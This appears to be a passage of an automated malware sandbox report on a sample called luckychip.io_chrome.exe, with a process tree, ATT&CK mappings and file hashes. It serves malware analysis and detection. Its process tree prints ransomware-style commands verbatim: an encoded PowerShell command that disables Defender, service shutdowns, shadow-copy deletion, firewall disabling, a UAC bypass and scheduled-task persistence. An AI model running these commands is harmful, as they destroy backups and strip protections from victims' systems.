4440 chrome.exe 117 PID 4440 wrote to memory of 1000 4440 chrome.exe 116 PID 4440 wrote to memory of 2896 4440 chrome.exe 117 PID 4440 wrote to memory of 1000 4440 chrome.exe 116 PID 4440 wrote to memory of 3560 4440 chrome.exe 118 PID 4440 wrote to memory of 3560 4440 chrome.exe 118 PID 4840 wrote to memory of 4748 4840 fodhelper.exe 120 PID 2576 wrote to memory of 5920 2576 luckychip.io_chrome.exe 125 PID 2576 wrote to memory of 408 2576 luckychip.io_chrome.exe 127 PID 2576 wrote to memory of 5152 2576 luckychip.io_chrome.exe 129 PID 4440 wrote to memory of 5328 4440 chrome.exe 131 PID 4440 wrote to memory of 5328 4440 chrome.exe 131 PID 2576 wrote to memory of 5564 2576 luckychip.io_chrome.exe 133 PID 2576 wrote to memory of 6024 2576 luckychip.io_chrome.exe 134 PID 2576 wrote to memory of 6004 2576 luckychip.io_chrome.exe 137 PID 2576 wrote to memory of 6080 2576 luckychip.io_chrome.exe 139 PID 2576 wrote to memory of 6104 2576 luckychip.io_chrome.exe 140 PID 2576 wrote to memory of 6120 2576 luckychip.io_chrome.exe 141 PID 2576 wrote to memory of 6136 2576 luckychip.io_chrome.exe 142 PID 2576 wrote to memory of 1376 2576 luckychip.io_chrome.exe 143 PID 2576 wrote to memory of 3616 2576 luckychip.io_chrome.exe 144 PID 2576 wrote to memory of 4772 2576 luckychip.io_chrome.exe 145 PID 2576 wrote to memory of 3156 2576 luckychip.io_chrome.exe 146 PID 2576 wrote to memory of 2072 2576 luckychip.io_chrome.exe 154 PID 2576 wrote to memory of 4376 2576 luckychip.io_chrome.exe 155 PID 2576 wrote to memory of 296 2576 luckychip.io_chrome.exe 157 PID 2576 wrote to memory of 4048 2576 luckychip.io_chrome.exe 158 PID 2576 wrote to memory of 2404 2576 luckychip.io_chrome.exe 161 PID 4376 wrote to memory of 636 4376 net.exe 164 PID 6120 wrote to memory of 4500 6120 cmd.exe 165 PID 6004 wrote to memory of 460 6004 cmd.exe 166 PID 6136 wrote to memory of 4652 6136 cmd.exe 167 PID 6080 wrote to memory of 5248 6080 cmd.exe 168 PID 6104 wrote to memory of 5288 6104 cmd.exe 169 PID 3616 wrote to memory of 4904 3616 cmd.exe 170 PID 1376 wrote to memory of 3940 1376 cmd.exe 171 PID 4652 wrote to memory of 5268 4652 net.exe 172 PID 6004 wrote to memory of 5648 6004 cmd.exe 173 PID 4440 wrote to memory of 6040 4440 chrome.exe 177 PID 4440 wrote to memory of 1936 4440 chrome.exe 188 PID 4440 wrote to memory of 2940 4440 chrome.exe 189 PID 4440 wrote to memory of 5524 4440 chrome.exe 190 PID 4440 wrote to memory of 5952 4440 chrome.exe 201 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\luckychip.io_chrome.exe"C:\Users\Admin\AppData\Local\Temp\luckychip.io_chrome.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies security service
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Checks computer location settings
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2576 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" http://luckychip.io2⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4440 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffbcf75c728,0x7ffbcf75c734,0x7ffbcf75c7403⤵PID:4716
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1668,i,8826650631699151066,1341282379712050219,262144 --field-trial-handle=1956,i,14966752924366232615,10108721223358176965,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=1948 /prefetch:23⤵PID:3844
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1556,i,18428825915673689111,10556976802860482737,524288 --field-trial-handle=1956,i,14966752924366232615,10108721223358176965,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2264 /prefetch:33⤵
- System Time Discovery
PID:4680
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2356,i,13190764987121238034,4130066487077228455,524288 --field-trial-handle=1956,i,14966752924366232615,10108721223358176965,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2508 /prefetch:83⤵PID:3152
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3056,i,1621798683988943550,6058228183900034989,2097152 --field-trial-handle=1956,i,14966752924366232615,10108721223358176965,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3180 /prefetch:13⤵PID:1000
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3068,i,4958877204409594011,70371780804136137,2097152 --field-trial-handle=1956,i,14966752924366232615,10108721223358176965,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3204 /prefetch:13⤵PID:2896
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4420,i,4966096553214008206,16119005472175350246,2097152 --field-trial-handle=1956,i,14966752924366232615,10108721223358176965,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4424 /prefetch:23⤵PID:3560
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=5248,i,6226119792453671733,14854984666009678637,2097152 --field-trial-handle=1956,i,14966752924366232615,10108721223358176965,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5240 /prefetch:13⤵PID:5328
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5680,i,3988334915838758376,3211948633081274690,524288 --field-trial-handle=1956,i,14966752924366232615,10108721223358176965,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5640 /prefetch:83⤵PID:6040
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5444,i,10201229668166379931,13022594016307660992,524288 --field-trial-handle=1956,i,14966752924366232615,10108721223358176965,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3276 /prefetch:83⤵PID:1936
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5436,i,7418811160351623362,3793606061055693762,524288 --field-trial-handle=1956,i,14966752924366232615,10108721223358176965,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3068 /prefetch:83⤵PID:2940
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3868,i,5514241871561433913,9549993425139947871,524288 --field-trial-handle=1956,i,14966752924366232615,10108721223358176965,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5416 /prefetch:83⤵PID:5524
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=3344,i,10259817307877189796,18085127287190974673,262144 --field-trial-handle=1956,i,14966752924366232615,10108721223358176965,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3296 /prefetch:83⤵PID:5952
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3172
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:220
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wscsvc start= disabled2⤵
- Launches sc.exe
PID:3356
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop SecurityHealthService2⤵
- Launches sc.exe
PID:4368
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled2⤵
- Launches sc.exe
PID:2416
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend2⤵
- Launches sc.exe
PID:4864
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WinDefend start= disabled2⤵
- Launches sc.exe
PID:3128
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop MsMpSvc2⤵
- Launches sc.exe
PID:4912
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config MsMpSvc start= disabled2⤵
- Launches sc.exe
PID:1044
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:4840 -
C:\Users\Admin\AppData\Local\Temp\luckychip.io_chrome.exe"C:\Users\Admin\AppData\Local\Temp\luckychip.io_chrome.exe"3⤵PID:4748
-
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:3304
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wuauserv2⤵
- Launches sc.exe
PID:1772
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:636
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3092
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:5920
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\luckychip.io_chrome.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:408
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\luckychip.io_chrome.exe" /sc minute /mo 30 /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:5152
-
-
C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"2⤵PID:5564
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:6024
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:6004 -
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:460
-
-
C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵PID:5648
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:6080 -
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
PID:5248
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:6104 -
C:\Windows\system32\tasklist.exetasklist3⤵
- Discovers running processes
PID:5288
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:6120 -
C:\Windows\system32\whoami.exewhoami3⤵PID:4500
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:6136 -
C:\Windows\system32\net.exenet user3⤵
- Suspicious use of WriteProcessMemory
PID:4652 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user4⤵PID:5268
-
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1376 -
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
PID:3940
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3616 -
C:\Windows\system32\NETSTAT.EXEnetstat -an3⤵
- Gathers network information
PID:4904
-
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\luckychip.io_chrome.exe" /sc daily /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:4772
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:3156
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵PID:2072
-
-
C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵
- Suspicious use of WriteProcessMemory
PID:4376 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice3⤵PID:636
-
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:296
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config i8042prt start= disabled2⤵
- Launches sc.exe
PID:4048
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop i8042prt2⤵
- Launches sc.exe
PID:2404
-
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵PID:2724
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:644
-
C:\Users\Admin\AppData\Local\Temp\luckychip.io_chrome.exeC:\Users\Admin\AppData\Local\Temp\luckychip.io_chrome.exe1⤵PID:5436
-
C:\Users\Admin\AppData\Local\Temp\luckychip.io_chrome.exeC:\Users\Admin\AppData\Local\Temp\luckychip.io_chrome.exe1⤵PID:6116
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵PID:5064
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
4PowerShell
1Visual Basic
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
5Windows Service
5Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
5Windows Service
5Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
2File Deletion
2Modify Registry
4Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\ProgramData\SysUpdate\Scr\scr_20260804_150421.jpg
- Size 108KB
- SHA256 8e6b3f6b94c096833720dc28f63bf57fa2d957630786adbcfcbf07b2f982042d
- MD5 fe6cb601ea00fae18c772ea8074b76a8
- SHA1 1cd4cc8968407ce1d8978b70cb547699de030d10
- SHA512 34ef648eea2dede7d8d616c583b07bfbd854cad89ab675b73e6b6735c08058555a4cf9536f460f295a939d07085b13d140dc9b1b0ffab601c93b608aa4d624c5
- SSDEEP 1536:IroRRRRRRRRRRROO4Ltttte777777777777777777bb4hf+Lff2Y5SoEgJ0QQfHV:hbhLnx5XEk9jZTe
- TLSH T155B327479C098B83616C83E8BE171DAD2F1A674CE5D53AFF04664EDB7E642270D8E02D
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\ProgramData\invoice_1.pdf
- Size 65KB
- SHA256 844f44c26e413e191d69b7c22e3c5f651975870a628f58ea9026617f8a8b639f
- MD5 5317c0a30878740f8ef8b4770ee826a7
- SHA1 2b13c88ef10ccccc15a7eefd0aba62e182c6429a
- SHA512 d83736ed12a0dd4af7290dc8771d56c2ef89f3349818df165f7aa26538fdf513bddec58b4478e1bef06536f0530c6a0e2f1d739396c578c6a8294b28b9a08acd
- SSDEEP 1536:VBUaGQCigDpJIgIkoL42TuIeV/hIeuPBJA8ezplLRSku1uJBKYSPE/:VBUaGdigDI2LwuIu6euazplCInQPE/
- TLSH T181633B368A23FCD0777E3D80E05439561C883E7B47B5667CFA811DAA28A5640DF3F5A8
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\SystemVolumeInformation\doc_3.pdf
- Size 64KB
- SHA256 7c4f6e53e7cd85a1fe48cf100fd164c3b440c81f569da24d57c176492aa800be
- MD5 4f1543a314f618b74e87cf0fae3d93f4
- SHA1 2153af9dd59bc3d7e3355f8fd12199f51c9c7464
- SHA512 18caac6f97b33898c31b0646420f933d1da76a3c7a474e65d293f073438d3d6b41a1e19ccd857e5ea2248fdc1c0f607a43f6b2d8bbce19b0743d19f47eac26b3
- SSDEEP 1536:1BUaGQCigDpJIgIkoL42TuIeV/hIeuPBJA8ezplLRSku1uJBKYSPE+:1BUaGdigDI2LwuIu6euazplCInQPE+
- TLSH T1CB533A368B23FCD0777E3D80E05439561C883E7B47B5667CFA811DAA28A5640DF3E5A8
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
- Size 6B
- SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
- MD5 377d072e137022223a370760763420bb
- SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
- SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
- Size 414B
- SHA256 17000ac51cd40d9945e2b2b91b7e17f7fe4dce72aba02f88e45423336e3724b3
- MD5 e8d08c3a56f3fb0714e486a48f952bbb
- SHA1 51aa5e7a761accf16479f89ae83136bbeaeb5e95
- SHA512 1c0ff7e75e303d4521df656cf667333211212a7f542df769fb991447da6696879d33e1b6bfc23d0fe92496655255268e509433e5cc4c55daec9d212be5a06b99
- TLSH T1A1E02B65C861EC2714FD0B59A0101786E755236B2A40D95F7B3C900C8FB16364985C1D
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
- Size 264B
- SHA256 6e8180e4b51fa0f41e24d4aa393d9cf4c01cc6307b1de1c0211be29694babf75
- MD5 f2d5a80b19a9bdf674d642b5ad8925cd
- SHA1 a1ca0bf16cbf5dbfc204ff685e36934aa44d082d
- SHA512 7bd046f0d0bd0e8c2519ea0e4ea6616ee839628447a65af79e42acc9bcda4e48c19e06fed377a61a47267546ebcc423113782b8bb7dee51af307a61fcd7046a0
- TLSH T13AD0A9C412C0202AD37D4B3C0AE82C8D3115302C40BA975301EB80B803A8F4C44B2713
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
- Size 2KB
- SHA256 81dd6100d732cb042242d3e4523605f1d23381fd96d32a1d2f52076bc283e1ac
- MD5 aa7ae4ebdf7b5d8b466708216c010352
- SHA1 be09609180df68d670584bd921ea40d40a0ab6b7
- SHA512 66882bc3bb70e5ebd7bc809b113f15f7ab579d85c85f19ab32e8e714fcc2114fce90399613f19172b781a4d9f7e3d8624e398e6f50b8c6840c37140882d71687
- TLSH T1174146F3C7EC896D890196F8AA192E1FCE790E14536C3C5788E4AE1B53E2871D25158E
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
- Size 6KB
- SHA256 e79531cb1e19d361ed3c13e98aa04e23bd8078d03c6c79daec47cdf715a55c36
- MD5 ef787fe7e042bf6ae2216922dac9137f
- SHA1 4399d9de7e29f749bf515715de08122d933d13f4
- SHA512 d7dea5c50920d1859e769c7883fc730bd2384365289c54bdc6ed89d213ee5b5276def4ec5f34a2aa90459ee86207f2c0d0f354b6d11523c3f234f2980f65af20
- SSDEEP 192:D8Yl36j89yCaIaEdEjaH0/IitdUWz1f+hv+MTC/:D8Yl36j89yCaIaEdEjaH0/IitdUWz1fV
- TLSH T165D17AF7D7E4862D8C2256F4BB146E1BCE291D19422C3D3688D6AF4B97E2471E240A4F
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
- Size 2B
- SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
- MD5 d751713988987e9331980363e24189ce
- SHA1 97d170e1550eee4afc0af065b78cda302a97674c
- SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
- Size 12KB
- SHA256 5ec6d82c2a8a7bd081c2e4641cfd9df42e976a26ccc3607054ba607475b92bc4
- MD5 253e85100f364e873d7aea2dcbbedb9b
- SHA1 19398f18d9fb29b2e10a98d322b2b7abc3946540
- SHA512 6d28152e06cbeab577981aac144d42b8d5d42e2339d0e8f7a7d1ccf9527a195119dfe9fe68925c0eabd17f8c22667ec52397549638664ba53255d1bece656ebc
- SSDEEP 192:IRJfYV+lZv70pAPRp2drlq9+Hsb+WNnF9dGvr2Kkw0Wkp8pVyIsnAUgtaJ:IRJfR5gUXT8wZM2jw0M8
- TLSH T16342B62AAA50A97B6CDFC229FD117B57D7F6212124D11E80E6FC8A2C05D76CC322741B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
- Size 16KB
- SHA256 4c42406bd80cff63d6f39c51149fab1e4524ab12b2e06272ccff8b39e3717a99
- MD5 e3d98d1158b0268b204620763bdd3161
- SHA1 e1c7376afb0e8f648d30a169d7d195b295c98c04
- SHA512 2b3b129c9c6c953b2f5b740c76012442cff2192655607841d56d57687f3b3e33bfce1c06b8671b5e9e8e27db5885b3fa79021eee98a2e1bfc35cd42825355431
- SSDEEP 384:W4jyR7KxkXqKf/pUZNCgVLH2Hfgsl/97pLuLcMIpXODyJ+ErU3MrHGRxCJZM:WMyR7KxkXqKf/pUZNCgVLH2HfgsR97pq
- TLSH T1D572FA676C488E7B0F94C6CCD8267B4FADF5024B65E9C86452FA582903D5BCB11052FB
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
- Size 144B
- SHA256 5e1a3c8f38b23147a46ffd77d7a4550a13bb070f95ba0ed38b4debed27ea781e
- MD5 2f900b312326b1e2668549ad6744608d
- SHA1 6ab2a2bbaab8a9cd5fa883cc92fb8e0039ad7721
- SHA512 6970e783c17e62fcec9c24c9d4975072a0d705f23754c38897e72e6f96ab77070bd9c8ff9214e38ca2398f490a947caaf53c34d0718b27aba9a7878a970f8233
- TLSH T1DAC01286C1036101C22B03FE20D394BD7658EF20EE0B136C62E42A179835220C11B1A1
- MD5 SHA1 SHA512 TLSH
